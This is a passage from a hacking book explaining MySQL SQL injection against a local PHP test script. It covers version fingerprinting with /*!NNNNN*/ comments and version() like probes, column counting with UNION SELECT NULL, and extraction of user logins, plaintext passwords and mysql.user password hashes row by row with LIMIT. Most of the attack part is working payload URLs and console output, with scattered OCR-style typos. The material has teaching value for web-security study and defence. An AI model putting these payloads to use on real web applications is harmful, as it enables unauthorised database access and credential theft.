MySQL | Hacker Web Exploition Uncovered

MySQL is a database server distributed with a license agreement like a general public license.

MySQL is one of the most popular database servers. It is so popular because of its simplicity and quick response. It doesn't offer many features to a programmer, but Web applications seldom require complicated databases and queries that would be impossible to implement in MySQL.

Another reason for MySQL's popularity is the license agreement, which often allows the users to use it free.

MySQL is distributed with the source code and is available for most operating systems, including Windows, FreeBSD, and Linux. Access to the database is implemented using SQL, a popular query language. However, its MySQL version somewhat differs from the versions used in other database servers.

MySQL Versions

Because SQL is one of the most popular database access languages, I'll briefly describe its features and the differences among the versions of it used in various MySQL versions.

A few MySQL versions can be found:

MySQL 4.x is the latest reliable version. It is recommended for installation.
MySQL 3.x is an obsolete version, but it still can be encountered on servers.
Earlier versions of MySQL aren't used in actual systems.
MySQL 5.x is available. However, this branch isn't reliable, and the developers of MySQL recommend that it be used only for testing. Therefore, you are unlikely to encounter it in actual systems.

Each next version of this database server has more features and uses more complicated queries than the previous version.

Because MySQL 3.x and 4.x are the most frequently encountered, I'll describe and compare them.

SQL is the query language of MySQL 3.x and 4.x. It conforms to the ANSI SQL 92 standard; supports standard constructions, such as SELECT , INSERT , UPDATE , DELETE , and ALTER ; and supports standard functions and data types.

The main difference between these two versions is that MySQL 4.x supports SELECT queries with constructions such as UNION and JOIN . Later in this chapter, I'll demonstrate how an attacker can use constructions such as UNION to obtain additional information when the SQL injection vulnerability is in MySQL 4.x.

A feature of all MySQL versions is that the NULL special value used in queries is compatible with any data type. Most implementations of SQL in other database servers also allow you to use the NULL value as if it has any data type.

In addition, MySQL can cast a value of any type to any other type. The following example demonstrates this:

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 124 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> SELECT 1, 1.2, 'hello', current_date, current_time           UNION SELECT NULL, NULL, NULL, NULL, NULL;    +---+-----+-------+--------------+---------------+     1  1.2  hello  current_date  current_time      +---+-----+-------+--------------+---------------+     1  1.2  hello  2004-09-30    16:43:23           0  0.0                                         +---+-----+-------+--------------+---------------+    2 rows in set (0.01 sec)    mysql> SELECT 1, 1.2, 'hello', current_date, current_time          UNION SELECT 10, 11, 12, 13, 14;    +----+------+-------+--------------+-------------+     1    1.2  hello  current_date  current_time    +----+------+-------+--------------+-------------+     1    1.2  hello  2004-09-30    16:44:00        10   11.0  12     13            14              +----+------+-------+--------------+-------------+    2 rows in set (0.00 sec)    mysql> SELECT 1, 1.2, 'hello', current_date, current_time UNION    SELECT 'dsd', 'asdf, 'qsdfg', 'gfgf','lsddsd';    +---+-----+-------+--------------+---------------+     1  1.2  hello  current_date  current_time      ----+-----+-------+--------------+---------------+     1  1.2  hello  2004-09-30    16:45:09           0  0.0  qsdfg  gfgf         1sddsd             +---+-----+-------+--------------+---------------+    2 rows in set (0.00 sec)

As you can see, in the first query MySQL converts the NULL value to an integer zero or a floating-point zero when it is a number and to an empty string when it is a string, a date, or the time. Depending on the query context, MySQL treats a date or time as a string or as an integer.

Note that the integers converted to the data or time type didn't degrade to a zero or an empty string but retained their form. This is a feature of MySQL. When it converts integers to other date types, the integers retain their form. However, there are a few exceptions when converting them to the date or time type.

When a string is cast to an integer or floating-point type, it is converted to zero. When it is cast to the date or time type, it retains its form.

The previous queries used the SELECT construction. In this example, it didn't retrieve values but just performed calculation.

In addition, these queries used the UNION SELECT construction that added another query to the first one. The result is a combination of two queries, as if they were executed in a row.

These examples demonstrate situations that will help you understand how an attacker can exploit the SQL injection vulnerability.

Another MySQL feature is the MySQL extension that allows the user to insert the /*! ... */ construction into a query. The exclamation mark can be followed by an integer that will be interpreted as a MySQL version.

The code contained within this construction will be executed only if the MySQL version is greater or equal to the specified number. For example, if you specify /*! 32302 ... */ , the code within this construction will be executed only if the MySQL version is greater or equal to 3.23.02. If you specify /*! 40018 ... */ , the version number should be greater or equal to 4.0.18.

The other server versions will treat this construction as a comment and ignore it.

Consider an example that illustrates how MySQL 4.0.18 will work in this case:

 -bash-2.05b$ mysql  -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 125 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> select 0 /*132302 or 1  */ ;  +-----------------+     0 /*132302 or 1     +-----------------+                   1     +-----------------+    1 row in set (0.00 sec)    mysql> select 0 /*!40000 or 1 */ ;    +-----------------+     0 /*!40000 or 1     +-----------------+                   1     +-----------------+    1 row in set (0.00 sec)    mysql> select 0 /*!40018 or 1 */ ;    +-----------------+     0 /*!40018 or 1     +-----------------+                   1     +-----------------+    1 row in set (0.00 sec)    mysql> select 0 /*!40019 or 1 */ ;    +---+     0     +---+     0     +---+    1 row in set (0.00 sec)    mysql>

Another feature of MySQL is that an SQL query that is missing the */ sequence closing a comment is considered syntactically correct. Any text to the right of the /* sequence (which opens a comment) is ignored:

 su-2.05b# mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 47 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysgl> select 1,2,3 /* comments    +---+---+---+     1  2  3     +---+---+---+     1  2  3     +---+---+---+    1 row in set (0.01 sec)    mysql> select 1,2,3 /* comments    +---+---+---+     1  2  3     +---+---+---+     1  2  3     +---+---+---+    1 row in set (0.01 sec)

Therefore, the attacker can exploit the SQL injection vulnerability in a MySQL database server by embedding the comment-opening sequence so that the query fragment to the right of it is discarded.

Note that if this type of vulnerability is in a database server and such embedding results in a query syntax error, this will indicate an unmatched opening parenthesis preceding the embedded parameter.

I demonstrated the method for counting parentheses in a query earlier in this chapter. To maintain the correctness of the query, close all parentheses before you embed a comment sequence.

Suppose the attacker detected two opening parentheses preceding a weakly filtered parameter. He or she could create queries like the following that wouldn't causes SQL syntax errors:

?id=1234
?id=1234+))+/*
?id=1234+))+any instruction/*

These queries don't cause syntax errors.

Some implementations of database clients allow users to concatenate queries using semicolons. MySQL doesn't.

Warning

In MySQL, it is impossible to combine a few queries using a semicolon or otherwise . The mysql_query() function from the MySQL application programming interface (API) takes only one query as a parameter.

Access Differentiation in MySQL

MySQL is a multiuser database server. Each user has a login and a password. He or she is identified with the login and with an IP address or a host name , from which he or she is allowed to establish a connection. Therefore, a user with the same login can obtain different privileges or even different passwords if he or she connects to the database from different computers.

All user attributes are stored in the system database named mysql. Logins, password hashes, and user privileges for all databases are stored in the user table of the mysql database. Here are a few columns of this table:

host The host name or IP address, from which this user can connect to the database. It can contain the percentage sign denoting any character sequence or the underscore character denoting any character.
user The user's login.
password The hash of the user's password. The only way to compute the password from its hash is to try every possible value.
select_priv A privilege to make SELECT queries to all databases.
insert_priv, update_priv, delete_priv Privileges to insert, update, and delete, respectively, the data from all databases.
create_priv, drop_priv Privileges to create and delete tables, respectively.
shutdown_priv A privilege to stop the database server.
process_priv A privilege to view and stop the current processes. A user with this privilege can view a list of the currently running processes that also contains information about the current queries. These queries can contain unencrypted passwords and other private information.
file_priv A privilege to manipulate files.
grant_priv A privilege to grant access rights to users.

Note the password hash. It is computed with the password() function. Although it is theoretically impossible to compute the password from the hash, the attacker can find a string whose hash is the same as the password hash.

The attacker can find this string only by trying possible values. However, then he or she can use it instead of the password. If the password is short, this string is likely to coincide with it. In addition, MySQL uses a hash function that isn't secure enough. Programs are available that find a password consisting of eight printable American Standard Code for Information Interchange (ASCII) characters in a few days.

Therefore, if the attacker knows the password hash of a MySQL user, it will be a matter of time and computational resources to find the password. Most passwords can be disclosed in a few days even with a PC.

The privileges stored in the user table relate to all databases. Sometimes, this is inconvenient.

The db table stores privileges related to individual databases. For example, if a user doesn't have the select_priv privilege in the system table but he or she has this privilege for another database and this is registered in the db table, the user has this privilege only in that database.

You can grant users different privileges to access individual tables and even table columns, and you can register them in the tables_priv and columns_priv system tables.

The root user is a "superuser" with the maximum privileges in the database.

The database users have nothing in common with the users of the system. The root user of the database may have minimum rights in the system.

Detecting MySQL

Suppose that the attacker has found a vulnerable script using the methods described earlier. Also suppose that the attacker has discovered that it is possible to embed any data into an SQL query, like this:

 select * from test3 where xid=$id

The value of the $id variable is received with the id GET parameter without filtration.

The attacker wants to make sure that the database server is MySQL and find the version of the server. MySQL 3.x and 4.x differ in functionality, and the attacker is likely to try to discover the version currently used.

The hacker can ensure that this is MySQL by using certain server-specific functions. Here are some of them:

database() Returns the current database
user {) Returns the login of the user connected to the database
system_user() The same as user()
session_user() The same as user()
password() Returns the hash of a string
version() Returns the MySQL version
benchmark() Executes an expression repeatedly

The expected (errorless) system response to any of these functions will indicate that MySQL is used.

Consider an example:

http://localhost/3/13.php
http://localhost/3/13.php?id=1123
http://localhost/3/13.php?id=1123+AND+user()<>1
http://localhost/3/13.php?id=1123+AND+database()<>1
http://localhost/3/13.php?id=1123+AND+system_user()<>1
http://localhost/3/13.php?id=1123+AND+session_user()<>1
http://localhost/3/13.php?id=1123+AND+password(111)<>1
http://localhost/3/13.php?id=1123+AND+benchrnark(1,1)<>11

All these requests return the same value. Therefore, all the functions used in the requests are implemented in the database server being investigated.

How will the system respond to calls to functions that aren't implemented in this server, such as the following?

http://localhost/3/13.php?id=1123+AND+notexists()<>1

It will return an empty page to this request. I demonstrated earlier that it can indicate an error in the SQL query if certain conditions are met.

Note that if error messages were displayed, the user will easily detect the type of the SQL server as shown in the following example for http://localhost/3/2.php?id=abc':

 Warning: mysql_fetch_object(): supplied argument is not a valid    MySQL result resource in x:\localhost.php on line 18    records not found

Obviously, a MySQL database is used. The mysql_fetch_object() function is used to retrieve results from this database. However, the version of the MySQL server isn't known in this case.

Another method for detecting the MySQL database and its version involves embedding the /*!... */ construction into a weakly-filtered parameter. The use of this construction was described earlier in this chapter.

So, the code inside the /*!NNNNN... */ construction will be executed only if the SQL server version is greater or equal to NNNNN . Note that the /* ... */ construction is interpreted as a comment in most implementations of SQL. If the MySQL version is greater than 00000 , the code inside the /*! 00000 ... / construction will be always executed on the MySQL server.

Suppose that the attacker found how he or she can embed any Boolean construction into the query. Also suppose that embedding a Boolean construction somehow changes the query.

Therefore, if you embed the Boolean construction into /*! 00000 ... */ , it will be executed only when the query is sent to the MySQL database server. Consider an example:

http://localhost/3/13.php?id=1123
http://localhost/3/13.php?id=1123+AND+0
http://localhost/3/13.php?id=1123+AND+l
http://locamost/3/13.php?id=1123+/*+comments+*/
http://localhost/3/13.php?id=1123+/*!00000+AND+0+*/

The second request returns a database record corresponding to the sent value.

The third request returns a message informing you that no record was found. You can suppose that embedding the AND 0 Boolean construction (which is always FALSE ) is the cause of this situation. However, you shouldn't forget about another likely cause: an error in the script or the SQL query.

The fourth request (with the AND 1 construction) returns the same value as the second one. This proves the supposition that the value of the received parameter is inserted into the query without filtration. So, you can embed any Boolean constructions into your requests, thus affecting the displayed results.

The fifth request tests the system's response to comments in a request. Because the expected result was returned, you can infer that comments don't affect the query.

The sixth request returns the same result as the third. In other words, the Boolean operation inside the /* 10 0000+AND+o+*/ construction was executed. Therefore, this is the MySQL database server.

So, the following queries were sent to the MySQL server:

 su-2.05b# mysql -u root    Welcome to the MySQL monitor. Commands end with  ;   or \g.    Your MySQL connection id is 5 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> -- http://localhost/3/13.php?id=1123    mysql> select * from test3 where xid=1123;    +----+------+------------------------------+     id  xid   value                            +----+------+------------------------------+      1  1123  a few possible values            +----+------+------------------------------+    1 row in set (0.01 sec)    mysql> -- http://localhost/3/13.php?id=1123+AND+0    mysql> select * from test3 where xid=1123 AND 0;    Empty set (0.00 sec)    mysql> -- http://localhost/3/13.php?id=1123+AND+l    mysql> select * from test3 where xid=1123 AND 1;    +----+------+------------------------------+     id  xid   value                            +----+------+------------------------------+      1  1123  a few possible values            +----+------+------------------------------+    1 row in set (0.00 sec)    mysql> -- http://localhost/3/13.php?id=1123+/*+comments+*/    mysql> select * from test3 where xid=1123 /* comments  */;  +----+------+------------------------------+     id  xid   value                            +----+------+------------------------------+      1  1123  a few possible values            +----+------+------------------------------+    1 row in set (0.00 sec)    mysql> -- http://localhost/3/13.php?id=1123+/*!00000+AND 0+*/    mysql> select * from test3 where xid=1123 /*!00000 AND 0 */;    Empty set (0.00 sec)    mysql>

The attacker can find the full version of the database server in a similar manner.

To find whether this is version 3.x or 4.x, the attacker can use the /* !4 0000 ... / construction. Instructions within this construction will be executed only when the server version is greater or equal to 40000 , that is, only in version 4.x.

The attacker can send requests to the HTTP server like the following:

http://localhost/3/13.php?id=1123+/*!00000+AND+0+*/
http://localhost/3/13.php?id=1123+/*!30000+AND+0+*/
http://localhost/3/13.php?id=1123+/*!40000+AND+0+*/
http://localhost/3/13.php?id=1123+/*!50000+AND+0+*/

If the first request returns a message informing you that no record was found, you can be sure that this is the MySQL database server. If the second request returns the same message, the version of the MySQL server is at least 3.0. The same situation with the third request would indicate version 4.0 or later, and so on.

By using the dichotomizing search, the attacker can find the full version of the database server. For example, he or she could send a series of HTTP requests.

*http://localhost/3/13.php?id=1123+/!00000+AND+0+/*
records not found

This is the MySQL database server.

*http://localhost/3/13.php?id=1123+/!20000+AND+0+/*
records not found

The server version is at least 2.0.

*http://localhost/3/13.php?id=1123+/!30000+AND+0+/*
records not found

The server version is at least 3.0.

*http://localhost/3/13.php?id=1123+/!40000+AND+0+/*
a few possible values

The server version is earlier than 4.0.

*http://localhost/3/13.php?id=1123+/!32000+AND+0+/*
records not found

The server version is at least 3.20.00.

*http://localhost/3/13.php?id=1123+/!33000+AND+0+/*
a few possible values

The server version is earlier than 3.30.00. In other words, it is 3.2x.xx.

*http://localhost/3/13.php?id=1123+/!32500+AND+0+/*
a few possible values

The server version is earlier than 3.25.00.

*http://localhost/3/13.php?id=1123+/!32300+AND+0+/*
records not found

The server version is at least 3.23.00.

*http://localhost/3/13.php?id=1123+/!32400+AND+0+/*
a few possible values

The server version is earlier than 3.24.00. In other words, it is 3.23.xx.

*http://localhost/3/13.php?id=1123+/!32350+AND+0+/1*
a few possible values

The server version is earlier than 3.23.50.

*http://localhost/3/13.php?id=1123+/!32330+AND+0+/*
records not found

The server version is at least 3.23.30.

*http://localhost/3/13.php?id=1123+/!32340+AND+0+/*
records not found

The server version is later than 3.23.40. In other words, it is 3.23.4x.

*http://localhost/3/13.php?id=1123+/!32345+AND+0+/*
a few possible values

The server version is earlier than 3.23.45.

*http://localhost/3/13.php?id=1123+/!32343+AND+0+/*
records not found

The server version is at least 3.23.43.

*http://localhost/3/13.php?id=1123+/!32344+AND+0+/*
a few possible values

The server version is earlier than 3.23.44. In other words, it is 3.23.43.

This method allows the attacker to find the exact version of the MySQL server, to which the Web application connects. However, in most cases he or she doesn't need the exact version; it would be enough to know the version branch.

There is another, less convenient , method for finding the version of the database server. It uses the version() function, which returns the full text of the database version.

When the attacker is just investigating the query structure and the database version, he or she still cannot create an HTTP request that would make the HTTP server return the database server response containing the result returned by the version() function.

In other words, he or she cannot obtain the result of the function explicitly. However, he or she can use this function in Boolean expressions. In these expressions, the attacker can use the like() function that looks for a string using a pattern.

The result of the version() function can look as follows :

 4.18.00    3.23.43-nt

If the attacker embeds the following constructions instead of the id=1123 parameter, he or she will be able to find the branch and eventually the full version by trying all digits:

?id=1123
?id=1123+AND+version+like+'3%'
?id=1123+AND+version+like+'4%'
?id=1123+AND+version+like+'5%'

A positive, nonempty result in the second request will indicate that the MySQL version is at least 3.0, a nonempty result in the third request will indicate that the MySQL version is at least 4.0, and so on.

This method for finding the version requires no filtration of apostrophes and quotation marks to be implemented. These characters are used in the parameter values. However, even if they are filtered, the attacker can circumvent the filtration by sending a request without apostrophes and quotation marks. I'll describe this method later.

In the example being described, the attacker would send the following series of requests:

http://localhost/3/13.php?id=1123+AND+version()+like+'2%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3%'
http://localhost/3/13.php?id=1123+AND+version()+like+'4%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.1%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.2%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.2.%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.21%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.1%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.2%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.3%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.4%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.42%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.43%'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41__'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41___'

After the last request, the attacker would understand that three more characters are in the version number. He or she could find them by trying the possible characters:

http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-a_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-b_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-n_'
http://localhost/3/13.php?id=1123+AND+version()+like+'3.23.41-nt'

In addition, the attacker can use the fact that the > and < operators compare strings lexicographically. Thus, he or she can find the MySQL server version using the dichotomizing search and comparing the actual version with a supposed one.

In this situation, the requests could be the following:

http://localhost/3/13.php?id=1123+AND+version()+>=+'2'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3'
http://localhost/3/13.php?id=1123+AND+version()+>=+'4'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.1'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.2'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.3'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.22'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.23'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.23'
http://localhost/3/13.php?id=1123+AND+version()+>=+'3.24'

And so on.

These methods can confirm or reject a supposition that a Web application interacts with a MySQL server. In addition, they allow the attacker to find the exact version of the MySQL server.

MySQL 4.x and Stolen Data

Suppose the attacker has successfully used the methods described in the previous section to detect SQL injection vulnerability in MySQL database server 4.x.

Suppose apostrophes and quotation marks in received values aren't filtered.

Later in this chapter, I will describe a method that allows you to circumvent any filtration of apostrophes and quotation marks if SQL injection exists.

In addition, suppose that the value of a parameter in a request isn't between apostrophes or quotation marks. The case, in which these characters are required, can be reduced to the previous case by adding an apostrophe or a quotation mark before a space character that is after the parameter value.

Consider a few examples:

?id=1123+AND+l/* Without apostrophes and quotation marks
?id=1123'+AND++/* -With apostrophes
?id=1123"+AND+l/* With quotation marks

I mentioned earlier that the main difference in MySQL server 4.x from the earlier versions is the UNTON construction that allows the user to combine multiple queries into one. Remember that in MySQL, it is impossible to combine multiple queries using semicolons, unlike with some other databases. The syntax of such a query is the following:

 SELECT   ...    UNION   [ALL]    SELECT ...      [UNION       SELECT ...]

The last SELECT construction (and only the last one) can include the INTO OUTFTLE construction.

The number of output columns should be the same in all subqueries. In addition, all values received in all SELECT queries except for the first one will be converted to the data types of the first SELECT construction:

 su-2.05b# mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 48 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> select 1, 2, 3 union select 2, 3.5, 4;    +---+---+---+     1  2  3     +---+---+---+     1  2  3      2  4  4     +---+---+---+    2 rows in set (0.01 sec)    mysql> select 'abc', 2.5, 3 union select 'test', '3.5test', 'test';    +-----+-----+---+     abc  2.5  3     +-----+-----+---+     abc  2.5  3      tes  3.5  0     +-----+-----+---+    2 rows in set (0.00 sec)    mysql>  select 1,2,3,4 union select 1,2,3;    ERROR 1222: The used SELECT statements have a different number of columns    mysql>

Warning

Using the UNION construction in MySQL, you can combine only the SELECT queries.

If the attacker knows the database structure and has complete information about the query, he or she will easily create a query that will use the UNION construction to retrieve data from the database.

However, in most cases, the attacker knows little about the database structure. He or she doesn't know the names of databases, tables, or columns. In addition, the attacker rarely knows the query type.

Finding the Number of Columns in a Query

When the attacker wants to use the UNION construction in a query, he or she would specify the same number of columns in the SELECT subqueries to avoid errors.

If the text of an erroneous SQL query isn't output, finding the number of columns isn't an easy task. To fulfil it, an attacker can use the fact that the NULL value in most database servers can be converted to any data type without errors.

Remember that in MySQL any data type can be cast to any other.

To count the columns returned by the first subquery, the attacker can send values of a weakly-filtered parameter so that the first subquery can be combined with the other subqueries using the UNION construction:

select null
select null, null
select null, null, null

And so on.

The attacker would need to remember that it might be necessary to discard the remainder of the query. In addition, he or she must not forget about unmatched opening parentheses that are likely in the query.

In this situation, only one SQL query won't cause an error message. The number of the NULL values sent in the second query will indicate the number of columns returned to the first subquery.

In the http://localhost/3/12.php example described earlier, the attacker could send the following HTTP requests:

http://localhost/3/12.php?id=1123
http://localhost/3/12.php?id=1123))/*
http://localhost/3/12.php?id=1123))+UNION+select+NULL/*
http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL/*
http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL,NULL/*
http://localhost/3/12.php?id=l123))+UMON+select+NULL,NULL,NULL,NULL/*

Note that the first request sends the original value of the id parameter before the closing parentheses (or a space).

This method allows the attacker to find the number of columns in the query even when he or she cannot determine whether an error happened in the SQL query or the empty result was returned.

In most cases, if the attacker is lucky, the result output in the browser will be similar to the result returned to the first or the second request. In this example, among the requests including the UNION construction, only the fifth request returns such a result.

The attacker can draw the conclusion that the query returns three columns.

After the attacker obtains the ability of embedding the UNION construction into a query, he or she will probably want to output the results of the query to the browser.

In general, results of a query output to the browser can be of two types. The HTML page can display all rows of the results. This is the simplest case, in which all the results are output to the same place. In other case, the results of one or a few queries are displayed on the HTML page.

In any case, the attacker would like to know, which parameter of the second query is displayed in the HTML page. To learn this, he or she is likely to change the request with the UNION construction and the NULL parameters that results in a syntactically-correct SQL query.

Because the attacker already possesses enough information to create a syntactically-correct UNION SELECT query, he or she would specify a value of the embedded parameter so that the value is syntactically correct but no database record corresponds to it.

In addition, to learn which columns in which form are displayed on the HTML page, the attacker can embed integers rather than the NULL values. Remember that integers in MySQL can be cast to any type without losing the value.

In the example I'm describing, the attacker could create the following request:

http://localhost/3/12.php?id=999999))+UNION+select+1,2,3/*

The result of this request would be a three output in the browser window. This would confirm the attacker's supposition that the value of the third column is output.

Remember that the results of the subsequent subqueries in the UNION SELECT query will be converted to the types of the columns of the first subquery. It often happens that the attacker requires a large amount of text data in the second subquery and that the corresponding column of the first subquery is a string not long enough. In this case, the result of the second subquery will be truncated to the length of the string.

If this happens, the attacker could try to find another column for long text data or use the substring() function to divide the long text into several parts . However, this could be a tedious job. The attacker could make the following request to the HTTP server:

http://localhost/3/12.php?id=1123))+UNION+select+1,2,3/*

The result of this request is a database record corresponding to the id=1123 parameter. Taking into consideration everything I said earlier, the SQL query generated from the sent parameter value should return two lines of the result. So, the attacker can be sure that the HTML page returns only the first line of the result.

Consider SQL queries sent to the database server in the examples given earlier:

 su-2.05b# mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 74 to server version: 4.0.18 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> use book1 Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> -- http://localhost/3/12.php?id=1123 mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)and 1); +----+------+------------------------------+  id  xid   value                         +----+------+------------------------------+   1  1123  a few possible values         +----+------+------------------------------+ 1 row in set (0.01 sec) mysql> -- http://localhost/3/12.php?id=1123))/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123))/*) and 1); +----+------+------------------------------+  id  xid     value                       +----+------+------------------------------+   1  1123  a few possible values         +----+------+------------------------------+ 1 row in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+NULL/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select NULL/*) and 1); ERROR 1222: The used SELECT statements have a different number of columns mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select NULL,NULL/*) and 1); ERROR 1222: The used SELECT statements have a different number of columns mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL,NULL/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select NULL,NULL,NULL/*) and 1); +----+-------+-----------------------------+  id  xid    value                        +----+-------+-----------------------------+   1  1123   a few possible values          0                                      +----+-------+-----------------------------+ 2 rows in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL,NULL,NULL/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select NULL,NULL,NULL,NULL/*) and 1); ERROR 1222: The used SELECT statements have a different number of columns mysql> -- http://localhost/3/12.php?id=999999))+UNION+select+1,2,3/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=999999)) UNION select 1,2,3/*) and 1);; +----+-----+-------+  id  xid  value  +----+-----+-------+   1  2   3       +----+-----+-------+ 1 row in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2,3/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select 1,2,3/*) and 1);; +----+------+----------------------------+  id  xid   value                       +----+------+----------------------------+   1  1123  a few possible values         1  2     3                           +----+-----+-----------------------------+ 2 rows in set (0.00 sec) mysql>

To cut the remainder of the query, the attacker could use the null character rather than the comment sequence, assuming that the mysql_connect() MySQL API function interprets this character as a string terminator.

Here is an example that demonstrates the use of the null character to truncate a query:

http://localhost/3/13.php?id=9999+UNION+select+1,2,3%00+any+string

This displays a three on the HTML page.

Try to use this method with the http://localhost/3/12.php script:

http://localhost/3/12.php?id=9999+UNION+select+1,2,3%00+any+ string

The HTML page is empty! As I demonstrated earlier, this is an indication of an error in the SQL query.

What could cause the error? The investigation of this script made earlier revealed that it screens apostrophes and quotation marks with backslashes. If you look at the source code of the script, you'll notice that this filtration is implemented with the addslashes() function. In PHP, this function screens the following characters: apostrophes, quotation marks, backslashes, and null characters (whose code is 0). So, this function prevents null characters from being used.

The Names of Tables and Columns

So, I have demonstrated how the attacker can count the number of columns returned by a query and create a correct UNION SELECT query that returns the data he or she is interested in. This knowledge is enough to create a query that would return the value of any function.

The attacker is likely to be interested in the following functions:

version() The MySQL server version
user() The name of the user and the host
database() The database name

To obtain the values of these functions, the attacker would create requests like those shown here.

http://localhost/3/12.php?id=9999))+UNION+select+1,2,version()/*
4.0.18-nt

http://localhost/3/12.php?id=9999))+UNION+select+1,2,user()/*
rootglocalhost

http://localhost/3/12.php?id=9999))+UNION+select+1,2,database()/*
book1

The values returned by any other function can be obtained in a similar manner.

Because the attacker creates any SELECT query that he or she likes, he or she can retrieve any information from any table on the server. Because the attacker can specify the database, table, or column name in a SELECT query, he or she can retrieve the contents of any table in any database if he or she knows their names and has the select_priv privilege in the database.

Consider a few examples of retrieving information from databases and tables.

These assume the attacker knows the names of the databases, tables, and columns.

http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords/*
admin

http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords/*
passadmin1

http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+book2.passwords/*
root

http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+book2.passwords/*
test

The structure of the script being investigated is that it displays no more than one line of the result. To obtain the other lines of the result, the attacker can use the LIMIT construction.

MySQL allows the user to combine LIMIT with UNION in SQL queries.

In the following examples, the attacker first obtains the size of the page and then every row from the table:

http://localhost/3/12.php?id=999999))+UNION+select+1,2,count(*)+from+passwords/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+l,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+l,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+2,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+2,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+3,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+3,1/*

After these requests are fulfilled, the attacker will know the logins and passwords of all users.

It would be tedious to retrieve data from a large table using this method manually. However, it is easy to write a program that will make such HTTP requests to the target server and display the results in a form convenient to the attacker. This program can be a modified version of the program for creating an HTTP request that was described in Chapter 1 .

In addition, the attacker has enough information to create HTTP requests that will retrieve information from the system database.

http://localhost/3/12.php?id=999999))+UNION+select+1,2,user+from+mysql.user+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,password+from+mysql.user+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,user+from+mysql.user+limit+1 , 1 /*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,password+from+mysql.user+limit+1,1/*

Although the user table of the system database of MySQL stores only password hashes, quick algorithms for computing a MySQL password from its hash are available. The attacker can know the names of tables and databases if the target server uses well-known software for forums, chats, and portals.

However, the attacker often doesn't know anything about the system. In such a case, he or she can try possible names of tables and columns, exploiting the fact that an incorrect name will cause an error.

To find the names of tables likely to be in the current database, the attacker can create the following HTTP requests to the server:

http://localhost/3/12.php?id=1123))+UNION+select+1 , 2,3+from+tablel/*
